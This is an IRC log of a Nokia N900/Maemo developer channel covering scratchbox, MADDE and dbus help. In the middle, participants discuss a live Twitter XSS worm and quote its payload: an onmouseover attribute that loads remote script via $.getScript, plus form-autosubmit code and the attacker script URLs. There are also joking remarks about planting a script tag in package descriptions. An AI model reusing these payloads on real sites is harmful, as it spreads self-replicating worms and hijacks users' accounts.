| mece | I wonder if I can do a while loop that checks whether the phone is ringing... | 12:53 |
| timeless_pidgin | Mece: my hit is bad, yours sounds promising | 12:54 |
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| timeless_pidgin | It isn't a network app, it's multimedia! ! | 12:55 |
| mece | hehehe | 12:56 |
| mece | oh man. Steve Jobs is quite the douche | 12:57 |
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| crashanddie_ | please don't insult people cheaply | 12:57 |
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| lolloo | awesome video | 12:59 |
| dneary | Hi | 13:00 |
| dneary | Anyone set up to test a Qt application for Maemo 5 on PR 1.2 here? | 13:00 |
| dneary | https://bugs.maemo.org/show_bug.cgi?id=10519 <- I'd like to see if we can confirm this bug | 13:00 |
| povbot | Bug 10519: qt-maemo-gravity-example has obsolete Qt configuration | 13:00 |
| dneary | (and I'm not set up for it right now) | 13:00 |
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| timeless_pidgin | Mece: he's an excellent speaker | 13:01 |
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| lolloo | how can I turn ON xchat plugin maemo notifier? it's there but not working! | 13:05 |
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| kirkum | hi...I need help in installing gcc on nokia N900 mobile.. | 13:06 |
| timeless_pidgin | Don't | 13:07 |
| timeless_pidgin | It's a waste of space | 13:07 |
| timeless_pidgin | Use a real computer | 13:07 |
| timeless_pidgin | Rent one from the cloud if you don't have one | 13:07 |
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| kirkum | We need to compile some applications .. | 13:07 |
| crashanddie_ | then use scratchbox | 13:08 |
| crashanddie_ | or just apt-get install build-essential | 13:08 |
| timeless_pidgin | Computers can do that... | 13:08 |
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| timeless_pidgin | Oddly enough | 13:08 |
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| kirkum | on arm target or on X86 target? | 13:08 |
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| crashanddie_ | kirkum: scratchbox enables cross-compilation | 13:08 |
| ALoGeNo | morning guys | 13:09 |
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| timeless_pidgin | Computers are flexible! | 13:09 |
| kirkum | okay.. | 13:09 |
| Khertan | Morning all | 13:09 |
| crashanddie_ | kirkum: meaning you get the speed of your desktop computer with the toolkit present on your N900. The apps you compile in scratchbox run fine on your N900# | 13:09 |
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| ALoGeNo | timeless_pidgin, are you so kind of paste the link of the last day please, my firefox was crased and lost all the tabs :/ | 13:10 |
| crashanddie_ | interesting, mbatle & w00t_ just got out of a meeting? | 13:10 |
| kirkum | hoo.. im a newbie here.. soo if i can compile something on scratchbox.. will that work on n900 too? without installin gcc on n900... | 13:10 |
| timeless_pidgin | Alogeno: read the topic | 13:10 |
| timeless_pidgin | It has a link to logs | 13:10 |
| ALoGeNo | i cant find the madde qemu stuff with google :( | 13:10 |
| crashanddie_ | kirkum: that's just what I said, isn't it? | 13:10 |
| * Khertan is looking for a d-bus org.freedesktop.Notification to help him to understand the dbus-callback-default isn't working on Khweeteur | 13:10 | |
| ALoGeNo | kk | 13:11 |
| * Khertan is looking for a d-bus org.freedesktop.Notification expert to help him to understand the dbus-callback-default isn't working on Khweeteur | 13:11 | |
| timeless_pidgin | Mece: not part 4 | 13:11 |
| w00t_ | crashanddie_: nope, network just exploded at a guess | 13:11 |
| timeless_pidgin | Maybe 5? | 13:11 |
| timeless_pidgin | Mece: can i get you to scan forward? :( | 13:11 |
| kirkum | crashanddie: okay ill try that :D | 13:11 |
| ALoGeNo | :D thank you one more time timeless_pidgin | 13:12 |
| crashanddie_ | kirkum: scratchbox can be a bit finicky to setup initially, but once it's setup and working it really is "good" (note the quotes). For most people, it's infinitely better than compiling on the N900 | 13:12 |
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| alterego | scratchbox is a pain, but when you've got a good setup, mines VM with ssh, it's usable :) | 13:14 |
| crashanddie_ | yeah, definitely install it in a VM | 13:14 |
| crashanddie_ | or git the whole /scratchbox install | 13:14 |
| crashanddie_ | it's so easy to break, lol... | 13:14 |
| crashanddie_ | "You rebooted without properly unmounting Scratchbox, therefor it has commited Harakiri" | 13:15 |
| alterego | he | 13:15 |
| alterego | heh .. | 13:15 |
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| kirkum | crashanddie: okay.. thing is that my application to be deployed on mobile uses a "QProcess".. which requires a toolkit to be installed on the device.. | 13:16 |
| kerio | is there a virtualbox vm ready to use? | 13:16 |
| crashanddie_ | then just install the toolkit in scratchbox | 13:16 |
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| crashanddie_ | kirkum: scratchbox attempts to be an emulator, in the way that you get an ARM cpu that can do most of the things the N900's CPU can do | 13:17 |
| kirkum | yaa.. thats were i was lil confused.. now ill try that.. thanks.. | 13:17 |
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| timeless_pidgin | MADE is supposed to be a complete sdk solution | 13:22 |
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| timeless_pidgin | Including scratchbox | 13:22 |
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| timeless_pidgin | The demos i've had show it mostly working | 13:23 |
| timeless_pidgin | Although the demos didn't include installing it | 13:23 |
| Stskeeps | timeless_pidgin: is /usr/bin/ld: warning: ../../staticlib/libmozipc_s.a(GeckoChildProcessHost.o) uses 2-byte wchar_t yet the output is to use 4-byte wchar_t; use of wchar_t values across objects may fail | 13:24 |
| Stskeeps | bad? | 13:24 |
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| mece | timeless_pidgin, sorry was afk | 13:35 |
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| mece | and going akf again... | 13:36 |
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| timeless_pidgin | Sp3000: ping. Email. Please poke james. I'd like to send that today. Preferably w/ the missing link | 13:37 |
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| DocScrutinizer | moo | 13:41 |
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| user | hi | 13:50 |
| v2px_ | moin | 13:50 |
| user | connected with irssi from a n900 | 13:51 |
| user | very nice | 13:52 |
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| user | but no virtual keyboard | 13:52 |
| user | :-) | 13:53 |
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| jpinx-eeepc | user: should be if you are in an Xterm | 13:54 |
| jpinx-eeepc | user: and you might want to change your nick ;) | 13:54 |
| merlin1991 | why would you want a virtual one when you have a full qwerty one? | 13:54 |
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| maxja | yes its a xterm | 13:56 |
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| ALoGeNo | hey after install madde that was installed by default in /root/.madde and looks like i need set some path, cant find qemu from madlib (mad and mad admin i was linked in /bin (but that is only to test) i need to set something after install MADDE?, i must install made inside of sdk virtual image or i can run it from my pc? | 14:00 |
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| ALoGeNo | timeless_pidgin, can you help me please? :P | 14:02 |
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| xkr47 | excess flood in two seconds.. nice | 14:02 |
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| alterego | Can someone point me to the git repo for the active background example? | 14:06 |
| DocScrutinizer | dbus-scripting is acting up, rendering my device unresponsive, with 900+ processes of which 800 are 'dbus-scripts' | 14:06 |
| DocScrutinizer | >:-( | 14:07 |
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| Shadikka | killall dbus-script and see what breaks? ;) | 14:07 |
| alterego | DocO_O | 14:07 |
| DocScrutinizer | nothing breaks | 14:07 |
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| lcuk | alterego, its in hildon-home I believe (the core test one) otherwise, get live wallpaper package or xsnow or xscreensavers or liqflow | 14:08 |
| DocScrutinizer | actually after SIX(!) `killall dbus-scripts` it finally managed to kill the processes faster than they respawn, and 7th killall said "no processes found to kill" | 14:08 |
| alterego | lcuk: Cheers :) | 14:08 |
| mece | DocScrutinizer, hee nice! | 14:08 |
| alterego | Also, is microb source actually up-to-date yet? | 14:08 |
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| xkr47 | DocScrutinizer, while killall dbus-scripts ; do :; done ;) | 14:11 |
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| xkr47 | ;) not part of command | 14:11 |
| DocScrutinizer | yup | 14:11 |
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| DocScrutinizer | s/:/echo "WTF?!"/ | 14:12 |
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| xkr47 | yeah definately | 14:12 |
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| jacekowski | DocScrutinizer: while true;do killall -9 dbus-scripts;done | 14:21 |
| satmd | oO | 14:21 |
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| * satmd wonders if this is the same hwoarang that I know from another comunity | 14:22 | |
| satmd | that'd be a surprise | 14:22 |
| timeless_pidgin | Alogeno : i'm on vacation | 14:23 |
| timeless_pidgin | Complain to the madde team | 14:23 |
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| timeless_pidgin | But please don't try to outsmart the installer | 14:23 |
| timeless_pidgin | Do everything *precisely* as instructed | 14:23 |
| alterego | lcuk: can't find it :( | 14:24 |
| timeless_pidgin | Not sure what you mean by microb and up to date | 14:24 |
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| timeless_pidgin | It is of course about a year old as gecko's go... | 14:25 |
| timeless_pidgin | And there have been a couple of changes to the ui post pr1.2 | 14:25 |
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| hwoarang | satmd: depends on the community | 14:28 |
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| [PG]Aex | hoho | 14:28 |
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| satmd | hwoarang: well, if you knew my nick, that'd me a yes :P | 14:30 |
| satmd | if not, guess no | 14:30 |
| satmd | even though I've active on b.g.o | 14:30 |
| satmd | (a little) | 14:30 |
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| ALoGeNo | can some one helpme with that? | 14:35 |
| * DocScrutinizer mumbles about being an idiot to store shellscripts at /etc/dbus-scripts.d/* | 14:35 | |
| ALoGeNo | mad remote -r rx51-fremantle-pr12 poweron | 14:35 |
| ALoGeNo | Cannot create new QEMU! | 14:35 |
| ALoGeNo | Some of the ports (6666, 13219, 14168) needed for QEMU not available! | 14:35 |
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| mece | grr argh! Ok so apparently there are Answer() and Release() methods in the dbus call interface. What other methods are there? Is there a reference manual for this? | 14:36 |
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| RST38h | Port 6666 has probably been occupied by Satan | 14:37 |
| RST38h | 13219 and 14168 look like random numbers though, so maybe your system does not let you open ports unless you are root? | 14:37 |
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| mece | aho CallStatus ftw! | 14:38 |
| DocScrutinizer | RST38h: satan is a port *scanner*, no port occupier :-P | 14:38 |
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| DocScrutinizer | RST38h: also seems 6665..6669 are assigned to IRCU | 14:40 |
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| lcuk | alterego, then you arent looking hard enough :P | 14:44 |
| alterego | lcuk: probably not :P | 14:45 |
| lcuk | http://lists.maemo.org/pipermail/maemo-developers/2010-June/026537.html | 14:45 |
| lcuk | try that for some extra info and a direct link | 14:45 |
| lcuk | but you are best plugging into vasvlads live wallpaper stuff | 14:45 |
| lcuk | he has a Settings configuration dialog and all that stuff | 14:46 |
| RST38h | Doc: I know :) | 14:46 |
| RST38h | Doc: That is what I meant by Satan, too | 14:46 |
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| lcuk | alterego, http://wiki.maemo.org/Livewallpaper | 14:48 |
| lcuk | use the info there to create your own live wallpapers that plugin | 14:48 |
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| crashanddie_ | DocScrutinizer: "You are see me?" | 14:50 |
| DocScrutinizer | crashanddie_: sorry, please rephrase | 14:50 |
| crashanddie_ | I dunno, you said "IRCU" | 14:51 |
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| DocScrutinizer | aah | 14:51 |
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| DocScrutinizer | ok, confirmed: 1) /me is an idiot, 2) dbus-scripting works just nice as long as you don't store random crap to /etc/dbus-scripts.d/* | 14:55 |
| xkr47 | you put your image gallery there ? :D | 14:57 |
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| DocScrutinizer | nah, cat /etc/dbus-scripts.d/playswoosh -> #!/bin/sh stored=/home/user/.slidestore; slide=$(cat sys/devices/platform/gpio-switch/slide/state); if [ X$slide == X$(cat $stored) ]; then exit 0; fi; if [ $slide == open ]; then /usr/bin/play-sound /usr/share/sounds/ui-charging_started.wav; fi; echo -n $slide >$stored | 14:58 |
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| DocScrutinizer | seems the dbus-script daemon doesn't like such config file :-P | 15:00 |
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| DocScrutinizer | ermmm, how would I inquire current runlevel? | 15:05 |
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| SpeedEvil | runlevel | 15:06 |
| jpinx-eeepc | init something? | 15:06 |
| SpeedEvil | (the command) | 15:06 |
| mece | ok got it working as I want it now: http://pastebin.com/AtSGqa5g | 15:06 |
| DocScrutinizer | :-D | 15:06 |
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| mece | Now I wonder, is it clever to have that running? Does the MainLoop use resources when waiting for a call? | 15:08 |
| mece | frals, you win at twittering! | 15:08 |
| frals | mece: it was yergas fault | 15:09 |
| mece | frals, sure it was. | 15:09 |
| frals | i opened twitter and it autoposted | 15:09 |
| mece | hehehe | 15:09 |
| frals | seems to be a nice exploit | 15:09 |
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| DocScrutinizer | # What to do when the power fails/returns. | 15:16 |
| DocScrutinizer | pf::powerwait:/etc/init.d/powerfail start | 15:16 |
| psycho_oreos | MohammadAG51, ping | 15:16 |
| DocScrutinizer | IroN900:~# ls /etc/init.d/powerfail | 15:17 |
| DocScrutinizer | ls: Zugriff auf /etc/init.d/powerfail nicht möglich: No such file or directory | 15:17 |
| lcuk | what in the holy fuck just happened on twitter? | 15:18 |
| lcuk | frals, ? | 15:18 |
| RST38h | lcuk: Everyone took shit? | 15:18 |
| DocScrutinizer | gone pooof? | 15:18 |
| frals | lcuk: seems to be a js exploit, i got it from yerga in my feed, it tries to DM someone and reposts the status | 15:18 |
| mece | nice lcuk :d | 15:19 |
| lcuk | frals, "you got it" | 15:19 |
| frals | lcuk: as in, it appeard in my feed from him | 15:19 |
| lcuk | ie its directly on twitter itself on peoples feed? | 15:19 |
| lcuk | or DM only | 15:19 |
| lcuk | (which aren't loaded by default) | 15:19 |
| frals | lcuk: in feeds | 15:19 |
| mece | wow | 15:19 |
| DocScrutinizer | muhahaha | 15:20 |
| mece | that's pretty cool! | 15:20 |
| frals | lcuk: and it spreads as soon as you load the feed in browser | 15:20 |
| mece | so if I open yergas twitter page it will post something? | 15:20 |
| frals | i think he deleted it because its gone from my feed last i checked | 15:20 |
| * DocScrutinizer ponders doing a similar hack for garage, as there <fields> aren't escaped | 15:20 | |
| lcuk | its spread for sure | 15:20 |
| lcuk | its on mine now | 15:20 |
| mece | hee | 15:20 |
| lcuk | logout before viewing | 15:20 |
| mece | ok.. will do | 15:21 |
| mece | could you give me a direct url to the logout? | 15:21 |
| MNZ | hahahahahah I just got it XD XD and I didn't go anywhere, just homepage | 15:21 |
| mece | ah from own feed. | 15:21 |
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| mece | MNZ, naturally if a friend has posted it you have it. | 15:22 |
| lcuk | 1. http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ 3 minutes ago via web | 15:22 |
| lcuk | viewing source of page | 15:22 |
| DocScrutinizer | WTF *is* twitter ?? :-P | 15:22 |
| lcuk | is this directly because of new t.co? | 15:22 |
| mece | wow | 15:22 |
| mece | very large letters those are :D:D:D | 15:22 |
| MNZ | hahaha I can just *imagine* the state all the twitter devs are in XD | 15:23 |
| merlin1991 | hrhr | 15:23 |
| * DocScrutinizer cackles evilly | 15:23 | |
| lcuk | can someone decode that url | 15:23 |
| lcuk | http:\u002f\u002fis.gd\u002ffl9A7 | 15:23 |
| lcuk | and resolve it into the script? | 15:24 |
| MNZ | u'http://is.gd/fl9A7' | 15:24 |
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| MNZ | lets make our own! what do you guys want to spam twitter with today? | 15:24 |
| marmoute | the site seems pretty down. | 15:25 |
| MNZ | I think is.gd is down from the load!!! | 15:25 |
| marmoute | self-/. | 15:25 |
| lcuk | so if i login and delete the twit myself | 15:26 |
| MNZ | this. is. epic. | 15:26 |
| MNZ | twitter will soon collapsificate | 15:26 |
| MNZ | failwhale to the rescue! | 15:27 |
| DocScrutinizer | http://lexasoft . jino-net.ru / up1415.js | 15:27 |
| mece | no, since the script is no longer available it will stop spreading | 15:27 |
| mece | DocScrutinizer, thanks :D | 15:27 |
| lcuk | right | 15:27 |
| lcuk | its gone from my feed | 15:27 |
| DocScrutinizer | $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/"); | 15:27 |
| DocScrutinizer | $('.status-update-form').submit(); | 15:27 |
| * DocScrutinizer shrugs | 15:27 | |
| DocScrutinizer | seems I'm not doing it 'right' | 15:28 |
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| lcuk | frals, logged out, go onto your own page, click stop, login with normal account, click stop again, then scroll down and delete the message | 15:28 |
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| lcuk | variations are sprouting up tho | 15:29 |
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| DocScrutinizer | fun on Tuesdays, that's quite unusual :-D | 15:30 |
| * DocScrutinizer considers joining twitter, for the shits and giggles | 15:31 | |
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| DocScrutinizer | but then, MEH | 15:31 |
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| frals | lcuk: i dont have it in my feed do i? | 15:33 |
| DocScrutinizer | WTF is http://t.co/@ ??? | 15:33 |
| lcuk | frals, i havent looked hold on | 15:33 |
| ALoGeNo | okey maemo+qemu running :) | 15:33 |
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| lcuk | no | 15:33 |
| mece | frals, no you're clean | 15:33 |
| mece | :) | 15:33 |
| Jef91 | Jeez between crazy hamster and kroll I almost feel like the N900 is a real smart phone. | 15:34 |
| DocScrutinizer | eeeeeek twitter | 15:34 |
| mece | I'm out. tata. | 15:34 |
| Jef91 | It's nice to get some game dev attention. | 15:34 |
| mece | Jef91, crazy hamster?? | 15:34 |
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| Jef91 | Game on ovi mece | 15:35 |
| mece | Is it good? | 15:35 |
| Jef91 | Just a demo atm | 15:35 |
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| Jef91 | but looks very good. | 15:35 |
| Jef91 | Remember old school lemmings? | 15:35 |
| Jef91 | Kinda like that. | 15:35 |
| Jef91 | Or pingus | 15:35 |
| DocScrutinizer | heh, I liked that | 15:35 |
| Jef91 | btw I wish someone would port pingus to n900 | 15:35 |
| Jef91 | My girlfriend loves that game | 15:36 |
| lcuk | Jef91, you have motivation | 15:36 |
| merlin1991 | lemmings ftw | 15:36 |
| lcuk | knowing she will love you forever if you port it | 15:36 |
| lcuk | downside is, she will be nicking your phone to play it | 15:36 |
| Jef91 | motivation and little to no coding exp | 15:36 |
| Jef91 | Unless pingus is python | 15:37 |
| lcuk | you think linus torvalds knows how to code? | 15:37 |
| lcuk | sticky tape and some elbow grease | 15:37 |
| Jef91 | lol | 15:38 |
| Jef91 | Good to know Linux gets things done the same way I do at work | 15:38 |
| DocScrutinizer | *cough* | 15:38 |
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| DocScrutinizer | lcuk: don't you think passing "<whatever>" verbatim into HTML pages could open a vulnerability? | 15:39 |
| TermanaN900 | lcuk, not very well. Why else do you think he is not a major contributor of code anymore!? (kidding :P) | 15:39 |
| Jef91 | This reminds me why I stopped trying to port FOSS applications to maemo - http://talk.maemo.org/showthread.php?t=60106 | 15:41 |
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| lcuk | TermanaN900, look at any codebase | 15:41 |
| Jef91 | Wish they would have just made the operating system compatible with debian armel packages, would have made things 100 times easier | 15:41 |
| lcuk | in the core is a shaky set of prototype hacks | 15:41 |
| Jef91 | Or at least used the same libc6 version | 15:41 |
| TermanaDesire | My n900 keeps killing its data connection | 15:43 |
| DocScrutinizer | lcuk: I'm pondering to include <script src="http://my.script.server.ru" type="text/javascript"></script> to starhash packet description, to auto-rate the package :-P | 15:43 |
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| mece | Jef91, so any reason why pingus is not ported? Should work right away. | 15:43 |
| Jef91 | mece You know I was told that by a pile of people | 15:44 |
| Jef91 | binaries it needs to compile | 15:44 |
| Jef91 | do not port so nicely | 15:44 |
| mece | Jef91, ok, I didn't really understand what you just said, but I have to go. I'll take a look at that thing. | 15:44 |
| * Khertan has just lost one hour to try to write is meego usb netbook image on a usb key without success | 15:44 | |
| mece | tata | 15:45 |
| Khertan | s/is/his | 15:45 |
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| crashanddie | what the hell's up with twitter? | 15:46 |
| Khertan | crashanddie, it s twitter ... it s like bird ... there isn't 100% success delivery ... | 15:46 |
| Jef91 | khertan Meggo on the netbook is a waste of time | 15:47 |
| Jef91 | It is moblin 1.1 which also was a waste of time. | 15:47 |
| MohammadAG51 | Khertan, dd's easy to use | 15:47 |
| Khertan | crashanddie, ouch strange ... look like a deface ... | 15:47 |
| Khertan | MohammadAG51, yep... but fail | 15:48 |
| Duckboot | Khertan: XSS worm | 15:48 |
| MohammadAG51 | dd if=image of=/dev/somewhere | 15:48 |
| Khertan | Jef91, depends on you use | 15:48 |
| Khertan | Duckboot, xss worm ? | 15:48 |
| Duckboot | Cross Site Scripting | 15:48 |
| Duckboot | http://en.wikipedia.org/wiki/Cross-site_scripting | 15:49 |
| Duckboot | Not a deface | 15:49 |
| crashanddie | please close the browser | 15:49 |
| crashanddie | don't leave your browser open, or you'll be sending spam | 15:50 |
| [PG]Aex | Is it possible to get J2ME support on the N900? | 15:50 |
| crashanddie | (or DDoS'ing twitter) | 15:50 |
| Duckboot | Or use NoScript plugin | 15:50 |
| Khertan | crashanddie, yep | 15:50 |
| Khertan | i see that | 15:50 |
| Khertan | it s open spam | 15:50 |
| Khertan | it s try to spam by direct message | 15:51 |
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| [PG]Aex | Anyone knows? | 15:51 |
| crashanddie | [PG]Aex: search TMO, it should have some info | 15:52 |
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| [PG]Aex | google or maemo.org? | 15:53 |
| * merlin1991 disabled javascript and happily browses a 90% cripled page now :D | 15:53 | |
| zap | [PG]Aex: have you looked in app manager? I think I have seen a j2me interpreter there | 15:54 |
| [PG]Aex | sec i'll have a look | 15:55 |
| Khertan | hum the twitter api seems down :) | 15:56 |
| DocScrutinizer | lol | 15:59 |
| jpinx-eeepc | hum that again? I didn't catch the tune ;) | 16:00 |
| crashanddie | Khertan: not just the API, everything. | 16:02 |
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| Khertan | crashanddie, hum the web interface is working :) | 16:03 |
| cheriff | i cant believe they allow you to tweet javascript in the first place | 16:03 |
| Khertan | if i write a counter measure and diffuse it like the xss original worms | 16:03 |
| crashanddie | Khertan: yes, but it's filled with plenty of worms | 16:03 |
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| Khertan | can it be call a xss worms ? | 16:04 |
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| zap | [PG]Aex: microemulator - MicroEmulator is a free J2ME(TM) implementation. | 16:05 |
| DocScrutinizer | lcuk: ?? any notion about my prev posts? | 16:05 |
| satmd | kindof | 16:05 |
| [PG]Aex | lol just found it the second you wrote | 16:05 |
| [PG]Aex | Cheers=) | 16:05 |
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| zap | I would write earlier if some guy wouldn't pick me on the phone | 16:05 |
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| [PG]Aex | xd | 16:05 |
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| [PG]Aex | Well, thanks alot for the help =) | 16:06 |
| DocScrutinizer | bash: xd: command not found | 16:07 |
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| Khertan | lol i m trying to got the javascript but the website which host it seems down | 16:11 |
| Khertan | :) | 16:11 |
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| merlin1991 | get it out of your browser cache? | 16:12 |
| alterego | Or google cache | 16:12 |
| Khertan | ah yes google cache | 16:12 |
| Khertan | thx | 16:12 |
| Khertan | ;) | 16:12 |
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| crashanddie | Khertan: i'm not seeing any remote javascript | 16:14 |
| crashanddie | Khertan: just seeing an automated .submit | 16:14 |
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| Khertan | crashanddie, there is one on the mouse over | 16:15 |
| crashanddie | onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();" | 16:15 |
| Khertan | http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class/ | 16:15 |
| th3hate | is twitter acting strangly for anyone else? | 16:15 |
| th3hate | windows keep popping from no where | 16:15 |
| crashanddie | th3hate: yes, don't use a browser | 16:15 |
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| Khertan | th3hate, under xss worm attack | 16:15 |
| crashanddie | th3hate: or use noscript | 16:15 |
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| th3hate | LOL @ trending topics | 16:17 |
| satmd | link mentioned by Khertan already has been disabled by is.gd | 16:17 |
| th3hate | Security flaw, mousover, onmouseover, expliot, XSS | 16:17 |
| Khertan | http://is.gd/fl9A7 disabled | 16:17 |
| Khertan | attack ends :) | 16:17 |
| crashanddie | Khertan: http:\u002f\u002fis.gd\u002ffl9A7 == http://is.gd/fl9A7 (blocked now) == http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 | 16:17 |
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| crashanddie | web interface seems to have been fixed | 16:19 |
| Khertan | http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 <<< strange didn't see the link | 16:20 |
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| Khertan | http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 <<< strange didn't see the link between this page and any js | 16:20 |
| crashanddie | neither do I see anything... | 16:20 |
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| crashanddie | Khertan: though, it could spit out something else if the referrer is twitter... | 16:21 |
| Khertan | the original : http://lexasoft.jino-net.ru/up1415.js | 16:22 |
| Khertan | :) | 16:22 |
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| Khertan | crashanddie, ok nothing bad so ... it s just replicate itself | 16:26 |
| Khertan | nothing more | 16:26 |
| crashanddie | well, I wonder | 16:27 |
| crashanddie | because the http://t.co/@ is another rediction service | 16:28 |
| crashanddie | so I wonder if ""style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class" could be computing to something else... | 16:28 |
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| crashanddie | which would then redirect to yet something else | 16:29 |
| Khertan | Twitter uses the t.co domain as part of a service to protect users from harmful activity | 16:30 |
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| Khertan | lol | 16:30 |
| Khertan | failed :) | 16:30 |
| satmd | there's a lesson to be learned from this class of worms... clearly distinguish data layer and presentation layer :( | 16:30 |
| crashanddie | what does that have to do with anything? | 16:31 |
| satmd | data is not supposed to contain executable elements | 16:31 |
| Khertan | crashanddie, is possible only with t.co ... this is how they manage to shorten url that made this possible | 16:31 |
| crashanddie | just sanitise your bloody inputs correctly, whether that means they come from a user or your database | 16:32 |
| satmd | ack. that is a approach to the same underlying problem | 16:32 |
| satmd | ;) | 16:32 |
| crashanddie | obviously, twitter trusted whatever came out of their database and the display assumed it was trustworthy. | 16:32 |
| Khertan | the problem is js ... this abomination should not exist | 16:33 |
| crashanddie | This would never have happened if they'd written twitter using a propper language... like Java or something. | 16:33 |
| crashanddie | </sarcasm> | 16:33 |
| Jef91 | Anyone on here use twitter from the n900? If so what client do you prefer? | 16:33 |
| crashanddie | Jef91: KHWEETEUR! | 16:33 |
| Khertan | crashanddie, hum ... if they used java we will just have a uptime of 1 hour by day | 16:33 |
| Khertan | :) | 16:33 |
| crashanddie | Khertan: oh piss off :P You never programmed in java, you're not allowed to criticise it :P | 16:34 |
| Khertan | crashanddie, what did they use ? | 16:34 |
| crashanddie | Khertan | 16:34 |
| Khertan | crashanddie, i m a java dev ... | 16:34 |
| crashanddie | Khertan: it was ruby on rails or something | 16:34 |
| Khertan | crashanddie, i m use java 2 years ... and i run away from it :) | 16:34 |
| crashanddie | Khertan: my point exactly, if you're a java dev, you've never developed in java | 16:34 |
| Khertan | crashanddie, i ve use java 2 years ... and i run away from it :) | 16:34 |
| Khertan | crashanddie, lol | 16:34 |
| crashanddie | wait, there's a problem with my previous argument :D | 16:35 |
| crashanddie | Khertan: J2EE? | 16:35 |
| Khertan | ruby on rail ... ouch ... we have many problem with this at work | 16:35 |
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| crashanddie | kh | 16:35 |
| Khertan | crashanddie, j2ee and j2me unfortunatly | 16:35 |
| crashanddie | fucking autocompletion of this stupid irc client | 16:35 |
| Khertan | :) | 16:35 |
| crashanddie | I actually have to <tab><enter> even when there's only one option.... | 16:36 |
| crashanddie | Khertan: what do you use on Windows? | 16:36 |
| dsg | Is it possible to join channels with the IRC telepathy plugin somehow? Or just private messages? | 16:37 |
| crashanddie | macirssi was all my dreams come true | 16:37 |
| Khertan | crashanddie, on windows : webchat.freenode.net | 16:37 |
| Khertan | :) | 16:37 |
| crashanddie | heh | 16:37 |
| timeless_pidgin | Has anyone here had cases where sending an email to someone using MS Exchange resulted in "failed" instead of "canceled". The destination is an account in this MS Exchange server | 16:37 |
| Khertan | as i try to stay too much on this os | 16:37 |
| * Khertan hate DBUS ! | 16:37 | |
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| * satmd too | 16:38 | |
| satmd | did you run into a missing libdbus-1.la like me? | 16:38 |
| crashanddie | Khertan: "hates" | 16:38 |
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| crashanddie | troisieme personne | 16:38 |
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| Khertan | no ... i'm trying to make dbus-callback-default working on org.freedesktop.Notification without any luck | 16:38 |
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| Khertan | crashanddie, true ... but i do the same error in french ... :) | 16:39 |
| crashanddie | tsss | 16:39 |
| Khertan | ayé les russes s'y mettent : ошел с другого клиента ибо работать в веб интерфейсике - опасно | 16:39 |
| Khertan | :) | 16:39 |
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| Khertan | a new variant of the xss worm on twitter just appear :) | 16:40 |
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| lolloo | do you guys hate twitter? | 16:40 |
| lolloo | why? | 16:41 |
| Jef91 | Wish we could get a decent Facebook application | 16:41 |
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| Khertan | Jef91, microb | 16:41 |
| Jef91 | Khertan Microb refuses to click any buttons on touch.facebook.com for me | 16:41 |
| lolloo | Wish we could get a decent Fring application | 16:41 |
| Jef91 | and when I use the full site it throws an error message everytime I try to post something | 16:41 |
| Jef91 | I'm just glad pyradio has a solid dev behind it | 16:42 |
| Jef91 | that application is fantastic | 16:42 |
| lolloo | e-buudy too | 16:42 |
| Khertan | I wish i could fix the notification callback on Khweeteur | 16:42 |
| Khertan | :) | 16:42 |
| lolloo | maybe you are using custom kernel | 16:42 |
| lolloo | try using the default one | 16:43 |
| lolloo | might work for you | 16:43 |
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| Jef91 | grr slow n900 is slow... must, resist, overclocking... | 16:45 |
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| Khertan | Jef91, n900 isn't slwo | 16:46 |
| Jef91 | relative to other handhelds, no | 16:46 |
| Khertan | overclock resolv anything | 16:46 |
| Jef91 | relative to my netbook yes | 16:46 |
| Khertan | Jef91, funny i found my n900 faster than my n130 | 16:46 |
| Khertan | :) | 16:46 |
| Jef91 | I have an n455 I think in mine | 16:47 |
| Jef91 | 1.66ghz | 16:47 |
| satmd | what's the difference between the fremantle and fremantle-1.2 distribution? | 16:47 |
| Jef91 | alot less suck satmd | 16:47 |
| satmd | which one? ;) | 16:48 |
| Jef91 | 1.2 is much better | 16:48 |
| satmd | ok | 16:48 |
| * satmd goes reinstalling petrovich in an attempt at repairing | 16:48 | |
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| Jef91 | Grr t-mobile 3g | 16:49 |
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| Jef91 | Download just stopped 1/3 of the way through. | 16:49 |
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| satmd | still broken :( | 16:50 |
| Khertan | MohammadAG51, after changing for a another usb key ... dd works ... the dd key seems broken :) | 16:51 |
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| iuu | hey.. i got an error.. while running run-standalone.sh | 16:55 |
| lolloo | why doesnt maemo notifier for xchat plugin doesn't work? | 16:55 |
| lolloo | can you help guys? | 16:55 |
| iuu | SBOX_CPUTRANSPARENCY_METHOD not set.. it seems | 16:55 |
| iuu | what can b a solution | 16:56 |
| crashanddie | iuu: i think nothing | 16:56 |
| lolloo | I want my phone to beep when I get personal message on xchat | 16:56 |
| crashanddie | because obviously, you think our time is less precious than yours | 16:56 |
| crashanddie | because you didn't even take the time to google it | 16:56 |
| lolloo | why wont my n900 beep? | 16:56 |
| crashanddie | iuu: so how about you just google that exact error message take the first link, and read what it says? | 16:56 |
| crashanddie | iuu: also, learn to read the bloody manual | 16:57 |
| iuu | help is appreciated | 16:57 |
| lcuk | crashanddie, yet you spend time shouting at him i na less productive manner ;) | 16:57 |
| lolloo | me? | 16:57 |
| lcuk | lolloo, theres a strange plugin somewhere, but it was disliked by many | 16:57 |
| crashanddie | however, maybe you just need to sb-menu, and then select the target you wish to compile for, for example, Fremantle_ARM or whatever the name is | 16:57 |
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| iuu | im a total newbie :( | 16:58 |
| lolloo | the one am using comes with xchat | 16:58 |
| iuu | okay.. thanks.. | 16:58 |
| lolloo | but it doesn't work | 16:58 |
| lolloo | why? | 16:58 |
| crashanddie | iuu: being a newbie doesn't deprive you from common sense, or access to google | 16:58 |
| crashanddie | lcuk: i know, but it feels gooooood :) | 16:59 |
| lcuk | heh | 16:59 |
| iuu | crashanddie: yea.. i tried googlin it.. cudnt get a proper answer | 17:00 |
| crashanddie | WTF? | 17:00 |
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| iuu | yeah.. i felt da same.. | 17:01 |
